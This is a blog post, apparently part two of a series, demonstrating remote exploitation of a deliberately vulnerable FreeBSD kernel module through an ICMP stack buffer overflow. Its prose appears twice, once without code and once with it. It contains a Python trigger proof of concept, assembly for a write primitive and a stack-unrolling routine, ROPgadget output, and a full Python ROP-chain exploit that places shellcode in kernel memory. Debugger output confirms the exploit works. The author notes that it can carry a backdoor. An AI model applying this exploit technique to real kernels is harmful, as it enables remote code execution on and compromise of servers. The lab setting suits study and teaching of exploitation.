- Get link
- X
- Other Apps
Hello Dear Readers.
In this post, I'll talk about the second part of our Freebsd kernel remote exploitation generic exploits. We've been so far completed only the setup for debugging which we'll use on all future kernel exploration.
Interesting things begin with this part and onward. Let's go straight without further long intro words.
To resume our current situation, we have a network kernel modules called
nethook.c
- This modules replace the original ICMP function handler with our own function icmp_input_hook
- icmp_input_hook have some local variable, whose are signatures we'll need
for our exploit later. This function call forwad_icmp.
- forwad_icmp create a 500 bytes buffer. The purpose is to allow us have some
stack space for our ROP gadget. It's also used to demonstrate stack unrolling.
This call process_icmp.
- process_icmp is our main icmp handler. This function has a local kernel stack buffer overflow, icmplen is the total length of the icmp packet from remote endpoint, memcpy will copy all the packet content into datap buffer which is only 80 bytes.
Freebsd kernel has stack cookie protection enabled. The cookie value seems to change only after an overflow is detected. I don't known if this is only for the debugged kernel. I've not checked for a normal kernel without debugging support.
As this post will deal only with a generic exploit, we won't explore how to leak cookie value remotely and this is mainly depend on the type of real bugs.
We assume the cookie values is already know at this point.
In the previous post, I've already talked about how to compile, load and debug the nethook modules. So if you don't sure how to do it, go back to the previous post and check it.
Firstly, we'll need to trigger the vulnerable code remotely.
Here is a small POC written in python.
In the POC 192.168.56.101 the IP address of the target Freebsd server running the nethook modules.
The BBBB overwrite the cookies content. Thus immediately resulting in a kernel panic.
Developing an exploit for this vulnerable modules involve developing several exploits chain to achieve a full remote code executions.
In user space exploit, One may achieve code execution immediately by putting address of the ROP gadgets in the current vulnerable function stack. When the function return it will execute instruction pointed by the ROP address one by one.
As kernel is a very complex beast, achieving RCE in one shot by putting all our payload in one exploit is very challenging, what we have to do is broke our exploit separately, one exploit for one specif goal, another one for a different goal.
For this 2d part, We'll develop an exploit to just allow us overwrite or put 8 bytes payload to an address of our choice remotely. But most importantly, we need to send another payload among the first to allow us unroll the stack and make the original vulnerable function to return safely without crashing, Thus keeping the kernel running. Note that a crash at this point will result immediately in a panic and the server will reboot.
Here is the stack unroll assembler code. [Payload part 2]
The assembler code for our arbitrary write primitive. [Payload part 1]
The stack frame look like this.
Stack is not executable anymore, we can't just put shellcode inside the buffer and jump there.
One things we can do is obviously search for candidates ROP gagdet inside the kernel binary. We may use it to make the current stack executable which is pointed by RSP.
In user space, One can do this by calling mprotect. Calling mprotect directly in kernel space may involves lots of works. But in Linux kernel case there is some functions that can be used to achieve the same effect.
I've not found such similar function in the Freebsd kernel. Maybe it's undocumented.
So i choose another way to overcome this problem. The point is we need to find
a writable and executable memory to put the payload in. The memory region must be a safe place otherwise the stability of the OS is broken.
Running kldstat on Freebsd console give:
The kernel is loaded at 0xffffffff80200000. At this address is stored some ELF headers for the kernel. These headers is generally used by bootloader to correctly load the kernel into memory. So after the kernel booted up. It's not used anymore. We can use this address to store our payload.
Before doing so. Most importantly it's time to search for ROP inside the binary.
Using ROPgadget tools.
We'll use these gadgets to move our actual payload wich i presented earlier to 0xffffffff80200000. Once moved, we jump rigth there, The payload will write another payload at some address and it will search for signatures upward in the stack.
And as our nethook modules has the needed signatures in icmp_input_hook function stack. The search will stop there, RSP need to be adjusted and we can return safely to the calling functions.
Our modified exploit look like this.
After running the exploit. We can inspect the server memory to see if we successfully overwrite the desired memory address.
Yes. Our payload is actually stored at the desired address.
The first part allow us write 8 bytes data at 0xffffffff80200040. The second will allow us to keep the kernel continue it's normal execution by returning to the calling functions.
We're done with this part. What we've achieved is very important for the next part. We've now an exploit which can be used remotly to sent arbitrary data to an executable kernel memory.
We can use this for sending a more complex payload or backdoor.
Thanks for reading.
In this post, I'll talk about the second part of our Freebsd kernel remote exploitation generic exploits. We've been so far completed only the setup for debugging which we'll use on all future kernel exploration.
Interesting things begin with this part and onward. Let's go straight without further long intro words.
To resume our current situation, we have a network kernel modules called
nethook.c
- This modules replace the original ICMP function handler with our own function icmp_input_hook
- icmp_input_hook have some local variable, whose are signatures we'll need
for our exploit later. This function call forwad_icmp.
- forwad_icmp create a 500 bytes buffer. The purpose is to allow us have some
stack space for our ROP gadget. It's also used to demonstrate stack unrolling.
This call process_icmp.
- process_icmp is our main icmp handler. This function has a local kernel stack buffer overflow, icmplen is the total length of the icmp packet from remote endpoint, memcpy will copy all the packet content into datap buffer which is only 80 bytes.
Freebsd kernel has stack cookie protection enabled. The cookie value seems to change only after an overflow is detected. I don't known if this is only for the debugged kernel. I've not checked for a normal kernel without debugging support.
As this post will deal only with a generic exploit, we won't explore how to leak cookie value remotely and this is mainly depend on the type of real bugs.
We assume the cookie values is already know at this point.
In the previous post, I've already talked about how to compile, load and debug the nethook modules. So if you don't sure how to do it, go back to the previous post and check it.
Firstly, we'll need to trigger the vulnerable code remotely.
Here is a small POC written in python.
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import socket
import time
import struct
import datetime
from struct import pack
import sys
import os
def trigger(ip_addr):
# create a socket
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
# compose icmp payload
icmp_s_type = 8 # Echo Request
icmp_s_code = 0
icmp_s_id = 1
icmp_s_seq = 0
icmp_s_data = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
icmp_s_data += b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
icmp_s_data += b"BBBB"
icmp_s_payload = struct.pack("!2B2H", icmp_s_type, icmp_s_code, icmp_s_id, icmp_s_seq)
icmp_s_payload += icmp_s_data
csum = 32767
icmp_s_payload = icmp_s_payload[:4] + struct.pack("!h", csum) + icmp_s_payload[4:]
print len(icmp_s_data)
# send the icmp packet
sock.sendto(icmp_s_payload, ip_addr)
def main():
"""
192.168.56.101
"""
ip_addr = ("192.168.56.101",0)
trigger(ip_addr)
if __name__ == "__main__":
main()
Breakpoint 1, process_icmp (mp=0xfffffe0000217770, offp=0xfffffe000021776c, proto=1) at nethook.c:61
61 iphlen = *offp;
(kgdb) x/30x 0xfffffe0000217460
0xfffffe0000217460: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffffe0000217470: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffffe0000217480: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffffe0000217490: 0x002174c0 0xfffffe00 0x824192ba 0xffffffff
0xfffffe00002174a0: 0x41414141 0x41414141 0x000001f4 0x00000000
0xfffffe00002174b0: 0x43434343 0x00000000 0xb603102f 0xb2a6dfa7
0xfffffe00002174c0: 0x00217700 0xfffffe00 0x8241926a 0xffffffff
0xfffffe00002174d0: 0x00217500 0xfffffe00
(kgdb) p datap
$2 = 0xfffffe0000217460 'A' <repeats 48 times>, "�t!"
(kgdb) c
Continuing.
Breakpoint 1, process_icmp (mp=0xfffffe0000217770, offp=0xfffffe000021776c, proto=1) at nethook.c:61
61 iphlen = *offp;
(kgdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
kdb_enter (why=0xffffffff8151e266 "panic", msg=<value optimized out>) at /usr/src/sys/kern/subr_kdb.c:479
479 kdb_why = KDB_WHY_UNSET;
(kgdb)
In the POC 192.168.56.101 the IP address of the target Freebsd server running the nethook modules.
The BBBB overwrite the cookies content. Thus immediately resulting in a kernel panic.
Developing an exploit for this vulnerable modules involve developing several exploits chain to achieve a full remote code executions.
In user space exploit, One may achieve code execution immediately by putting address of the ROP gadgets in the current vulnerable function stack. When the function return it will execute instruction pointed by the ROP address one by one.
As kernel is a very complex beast, achieving RCE in one shot by putting all our payload in one exploit is very challenging, what we have to do is broke our exploit separately, one exploit for one specif goal, another one for a different goal.
For this 2d part, We'll develop an exploit to just allow us overwrite or put 8 bytes payload to an address of our choice remotely. But most importantly, we need to send another payload among the first to allow us unroll the stack and make the original vulnerable function to return safely without crashing, Thus keeping the kernel running. Note that a crash at this point will result immediately in a panic and the server will reboot.
Here is the stack unroll assembler code. [Payload part 2]
_unroll:
add rsp, 0x8
cmp DWORD [rsp], 0xbaaddead
jne _unroll
cmp DWORD [rsp + 8], 0xbeefdead
jne _unroll
add rsp, 0x28
pop rbp
ret
The assembler code for our arbitrary write primitive. [Payload part 1]
mov rax, 0xffffffff80200040
mov rbx, 0x4141414141414141
mov QWORD [rax], rbx
The stack frame look like this.
Stack is not executable anymore, we can't just put shellcode inside the buffer and jump there.
One things we can do is obviously search for candidates ROP gagdet inside the kernel binary. We may use it to make the current stack executable which is pointed by RSP.
In user space, One can do this by calling mprotect. Calling mprotect directly in kernel space may involves lots of works. But in Linux kernel case there is some functions that can be used to achieve the same effect.
I've not found such similar function in the Freebsd kernel. Maybe it's undocumented.
So i choose another way to overcome this problem. The point is we need to find
a writable and executable memory to put the payload in. The memory region must be a safe place otherwise the stability of the OS is broken.
Running kldstat on Freebsd console give:
root@FreeBSD:~ # kldstat
Id Refs Address Size Name
1 3 0xffffffff80200000 205ce70 kernel
2 1 0xffffffff82419000 558 nethook.ko
root@FreeBSD:~ #
The kernel is loaded at 0xffffffff80200000. At this address is stored some ELF headers for the kernel. These headers is generally used by bootloader to correctly load the kernel into memory. So after the kernel booted up. It's not used anymore. We can use this address to store our payload.
Before doing so. Most importantly it's time to search for ROP inside the binary.
Using ROPgadget tools.
[+] Gadget found: 0xffffffff80b19e3f mov qword ptr [rsi], rdx ; pop rbp ; ret
[+] Gadget found: 0xffffffff8036615e pop rsi ; ret
[+] Gadget found: 0xffffffff80270178 pop rdx ; ret
[-] Can't find the 'xor rdx, rdx' gadget. Try with another 'mov [reg], reg'
We'll use these gadgets to move our actual payload wich i presented earlier to 0xffffffff80200000. Once moved, we jump rigth there, The payload will write another payload at some address and it will search for signatures upward in the stack.
And as our nethook modules has the needed signatures in icmp_input_hook function stack. The search will stop there, RSP need to be adjusted and we can return safely to the calling functions.
Our modified exploit look like this.
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import socket
import time
import struct
import datetime
from struct import pack
import sys
import os
_www = b"\x48\x89\x18\x90\x90\x90\x90"
def build_payload(mov_addr, mov_8bytes_data, mov_8bytes_data_2):
# Moving The 8 bytes write primitive shelllcode to .0xffffffff80200000
payload = b""
payload += pack("<Q", 0xb2a6dfa7b603102f) # Stack canary
payload += pack("<Q", 0x4141414141414141) #RBP
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += mov_addr # mov rax, addr
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += mov_8bytes_data # mov rbx, data [mov rbx, 0x4141414141414141]
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += mov_8bytes_data_2 # Rest of data.
payload += _www # The www shellcode [mov QWORD PTR [rax],rbx] Plus some nop.
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
# Moving Stack unrolling shelllcode.
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += b"\x48\x83\xc4\x08\x81\x3c\x24\xad"
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += b"\xde\xad\xba\x75\xf3\x81\x7c\x24"
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += b"\x08\xad\xde\xef\xbe\x75\xe9\x48"
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8036615e) # pop rsi ; ret
payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8)
payload += pack("<Q", 0xffffffff80270178) # pop rdx ; ret
payload += b"\x83\xc4\x28\x5d\xc3"
payload += b"\x90\x90\x90"
payload += pack("<Q", 0xffffffff80b19e3f) # mov qword ptr [rsi], rdx ; pop rbp ; ret
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0xffffffff8025c768) # pop rax ; ret
payload += pack("<Q", 0xffffffff80200000)
payload += pack("<Q", 0xffffffff81534dff) # jmp rax
payload += pack("<Q", 0x4141414141414141)
payload += pack("<Q", 0x4141414141414141)
return payload
def exploit(ip_addr, mov_addr, mov_8bytes_data, mov_8bytes_data_2):
# create a socket
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
# compose icmp payload
icmp_s_type = 8 # Echo Request
icmp_s_code = 0
icmp_s_id = 1
icmp_s_seq = 0
icmp_s_data = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
icmp_s_data += b"AAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCC"
icmp_s_data += build_payload(mov_addr, mov_8bytes_data, mov_8bytes_data_2)
icmp_s_payload = struct.pack("!2B2H", icmp_s_type, icmp_s_code, icmp_s_id, icmp_s_seq)
icmp_s_payload += icmp_s_data
csum = 32767
icmp_s_payload = icmp_s_payload[:4] + struct.pack("!h", csum) + icmp_s_payload[4:]
print len(icmp_s_data)
# send the icmp packet
sock.sendto(icmp_s_payload, ip_addr)
def main():
"""
192.168.56.101
"""
ip_addr = ("192.168.56.101",0)
exploit(ip_addr, b'\x48\xc7\xc0\x40\x00\x20\x80\x48', b"\xbb\x41\x41\x41\x41\x41\x41\x41", b"\x41")
if __name__ == "__main__":
main()
After running the exploit. We can inspect the server memory to see if we successfully overwrite the desired memory address.
(kgdb) x/20i 0xffffffff80200000
0xffffffff80200000: mov rax,0xffffffff80200040
0xffffffff80200007: mov rbx,0x4141414141414141
0xffffffff80200011: mov QWORD PTR [rax],rbx
0xffffffff80200014: nop
0xffffffff80200015: nop
0xffffffff80200016: nop
0xffffffff80200017: nop
0xffffffff80200018: add rsp,0x8
0xffffffff8020001c: cmp DWORD PTR [rsp],0xbaaddead
0xffffffff80200023: jne 0xffffffff80200018
0xffffffff80200025: cmp DWORD PTR [rsp+0x8],0xbeefdead
0xffffffff8020002d: jne 0xffffffff80200018
0xffffffff8020002f: add rsp,0x28
0xffffffff80200033: pop rbp
0xffffffff80200034: ret
0xffffffff80200035: nop
0xffffffff80200036: nop
0xffffffff80200037: nop
0xffffffff80200038: (bad)
0xffffffff80200039: add BYTE PTR [rax+0x0],al
(kgdb)
Yes. Our payload is actually stored at the desired address.
The first part allow us write 8 bytes data at 0xffffffff80200040. The second will allow us to keep the kernel continue it's normal execution by returning to the calling functions.
(kgdb) x/xg 0xffffffff80200040
0xffffffff80200040: 0x4141414141414141
We're done with this part. What we've achieved is very important for the next part. We've now an exploit which can be used remotly to sent arbitrary data to an executable kernel memory.
We can use this for sending a more complex payload or backdoor.
Thanks for reading.
- Get link
- X
- Other Apps
Comments
Post a Comment